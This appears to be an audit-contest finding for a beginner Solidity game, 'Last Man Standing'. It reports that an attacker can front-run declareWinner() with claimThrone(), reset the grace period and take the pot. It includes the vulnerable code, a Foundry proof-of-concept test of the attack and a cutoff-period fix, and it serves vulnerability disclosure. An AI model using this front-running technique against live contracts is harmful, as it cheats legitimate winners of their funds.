Last Man Standing

First Flight #45
Beginner FriendlyFoundrySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

MEV Front-Running Attack Enables Griefing and Potential Theft Through Grace Period Manipulation

MEV Front-Running Attack Enables Griefing and Potential Theft Through Grace Period Manipulation by superseding declareWinner with claimThrone

Note: This vulnerability assumes the critical logic error in claimThrone() is fixed (changing require(msg.sender == currentKing) to require(msg.sender != currentKing)) to make the contract functional.

Description

  • An attacker can monitor the mempool for declareWinner() transactions and front-run them with claimThrone() calls to reset the grace period timer.

  • This attack prevents legitimate winners from claiming their prize and forces additional waiting periods.

  • The attack exploits the fact that claimThrone() updates lastClaimTime = block.timestamp, which resets the grace period countdown and causes the original declareWinner() transaction to revert with Grace period has not expired yet.

Prerequisites -

  • The fundamental claimThrone() logic error must be fixed for the contract to function.

  • Game must be in progress with an active currentKing.

  • Grace period must be near expiration.

// Root cause in the codebase with @> marks to highlight the relevant section
function claimThrone() external payable gameNotEnded nonReentrant {
require(msg.value >= claimFee, "Game: Insufficient ETH sent to claim the throne.");
//@report-written Critical can never be called as it expects msg.sender to be address 0, new players are completely locked out
require(msg.sender == currentKing, "Game: You are already the king. No need to re-claim.");
uint256 sentAmount = msg.value;
uint256 previousKingPayout = 0;
uint256 currentPlatformFee = 0;
uint256 amountToPot = 0;
// Calculate platform fee
currentPlatformFee = (sentAmount * platformFeePercentage) / 100;
// Defensive check to ensure platformFee doesn't exceed available amount after previousKingPayout
if (currentPlatformFee > (sentAmount - previousKingPayout)) {
currentPlatformFee = sentAmount - previousKingPayout;
}
platformFeesBalance = platformFeesBalance + currentPlatformFee;
// Remaining amount goes to the pot
amountToPot = sentAmount - currentPlatformFee;
pot = pot + amountToPot;
// Update game state
currentKing = msg.sender;
@> lastClaimTime = block.timestamp;
playerClaimCount[msg.sender] = playerClaimCount[msg.sender] + 1;
totalClaims = totalClaims + 1;
// Increase the claim fee for the next player
claimFee = claimFee + (claimFee * feeIncreasePercentage) / 100;
emit ThroneClaimed(
msg.sender,
sentAmount,
claimFee,
pot,
block.timestamp
);
}
function declareWinner() external gameNotEnded {
require(currentKing != address(0), "Game: No one has claimed the throne yet.");
@> require(
block.timestamp > lastClaimTime + gracePeriod,
"Game: Grace period has not expired yet."
);
gameEnded = true;
pendingWinnings[currentKing] = pendingWinnings[currentKing] + pot;
pot = 0; // Reset pot after assigning to winner's pending winnings
emit GameEnded(currentKing, pot, block.timestamp, gameRound);
}

Risk

Likelihood:

  • High: Given the claimThrone() logic error is resolved and this attack is not very difficult to create.

Impact:

  • Legitimate winners can not claim victory when the grace period should have expired.

  • Forcing all players to wait additional grace periods, wasting time and gas.

  • If the attacker successfully prevents others from claiming during the new grace period, they can steal the entire accumulated pot

  • Repeated attacks can theoretically extend the game indefinitely

Proof of Concept

  1. Three players played to claim thone. 3rd player being the last one becomes the potential legitimate winner.

  2. After passing of the grace period, some one tries to call the declareWinner function.

  3. However, a malicious attack sees this transaction in the mempool and supersedes this with another claimThrone transaction.

  4. Hence manipulating the grace period and forcing players to wait for additional grace period.

function test_FrontRun_declareWinner_To_Cause_Grief() external {
vm.prank(player1);
game.claimThrone{value: INITIAL_CLAIM_FEE}();
uint256 claimFee = game.claimFee();
vm.prank(player2);
game.claimThrone{value: claimFee}();
claimFee = game.claimFee();
vm.prank(player3);
game.claimThrone{value: claimFee}();
address currentKing = game.currentKing();
assertEq(currentKing, player3);
uint256 newTime = block.timestamp + game.getRemainingTime();
vm.warp(newTime + 1);
//declare winner
// game.declareWinner();
// uint256 winnerPendings = game.pendingWinnings(player3);
// assertGt(winnerPendings, 0); //3.144e17
//attacker supersedes this above transaction with claimThrone
claimFee = game.claimFee();
vm.prank(maliciousActor);
game.claimThrone{value: claimFee}();
currentKing = game.currentKing();
assertEq(currentKing, maliciousActor);
vm.expectRevert("Game: Grace period has not expired yet.");
game.declareWinner();
uint256 winnerPendings = game.pendingWinnings(player3);
assertEq(winnerPendings, 0);
//attacker is required for grace period to pass meanwhile there is a chance for others to claim throne, hence causing more delays
newTime = block.timestamp + game.getRemainingTime();
vm.warp(newTime + 1);
//If no one claims the throne in between then attacker becomes the kind
game.declareWinner();
winnerPendings = game.pendingWinnings(maliciousActor);
assertGt(winnerPendings, 0); //4.408e17
assertEq(currentKing, maliciousActor);
}

Recommended Mitigation

Implement a commit-reveal scheme or time-lock mechanism to prevent last-second interventions.

+ uint256 public claimCutoffPeriod = 1 hours; // No claims allowed in final hour
function claimThrone() external payable gameNotEnded nonReentrant {
+ require(
+ block.timestamp < lastClaimTime + gracePeriod - claimCutoffPeriod,
+ "Game: Claims disabled in final period before winner declaration"
+ );
// ... rest of function
}
Updates

Appeal created

inallhonesty Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game::claimThrone can still be called regardless of the grace period

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.